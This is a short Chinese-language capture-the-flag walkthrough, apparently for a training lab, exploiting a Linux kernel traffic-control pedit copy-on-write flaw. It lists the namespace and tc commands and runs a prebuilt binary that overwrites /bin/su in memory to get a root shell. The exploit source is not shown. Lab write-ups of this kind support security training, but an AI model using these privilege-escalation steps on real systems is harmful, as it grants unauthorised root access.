针对 pedit COW 漏洞(CVE-2026-46331)的撰写和利用步骤。
该挑战演示了 pedit COW,这是 Linux 内核流量控制子系统中数据包编辑动作(act_pedit)的一个缺陷。该漏洞允许非特权用户覆盖内存中 setuid-root 二进制的副本,从而在不触及磁盘文件的情况下有效获取 root shell。
环境以非特权用户(karen)身份启动。
id
cd ~/packet_edit_meme
make packet_edit_meme
配置流量控制通常需要 CAP_NET_ADMIN 特权,普通用户不具备此权限。我利用非特权用户命名空间来获得该能力。
unshare -r -n
在命名空间内部,我配置了 clsact qdisc,并应用了一个过滤器以触发 pedit 动作。
tc qdisc del dev lo clsact
tc qdisc add dev lo clsact
tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64
设置环境后,我退出了 root shell,并以非特权用户身份执行漏洞利用程序。
exit
./packet_edit_meme
该漏洞利用成功覆盖了 /bin/su 的条目,提供了一个交互式 root shell。
# cat /root/flag.txt
THM{YOUR_FLAG_HERE}